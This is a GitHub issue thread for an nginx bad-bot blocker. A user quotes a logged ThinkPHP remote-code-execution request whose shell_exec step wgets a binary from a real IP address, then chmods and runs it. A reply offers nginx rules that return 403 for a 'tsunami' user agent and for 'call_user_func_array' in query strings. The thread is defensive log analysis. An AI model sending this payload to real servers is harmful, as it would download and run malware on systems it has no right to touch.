nginx-badbot-blocker icon indicating copy to clipboard operation
nginx-badbot-blocker copied to clipboard

Published 20 hours ago • verified publisher icon mariusv

scrips crawling my servers

Open mincaeuro opened this issue 6 years ago • 1 comments

Hi,

was wondering if you have experience with such requests:

/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.221/bins/Yowai.x86 -O /tmp/Yowai; chmod 777 /tmp/Yowai; /tmp/Yowai Yowai.x86'

  • is it possible to "auto-ban" such IPs ?

mincaeuro avatar Jan 23 '19 18:01 mincaeuro

You can reject this attack by nginx rules:

location / { if ($http_user_agent ~ (tsunami) ) { return 403; } if ($query_string ~ "call_user_func_array" ) { return 403; } ... }

Link https://serverfault.com/questions/957075/block-remote-code-execution-ubuntu-server-fail2ban-cloudflare

Zasimovich avatar Aug 02 '19 11:08 Zasimovich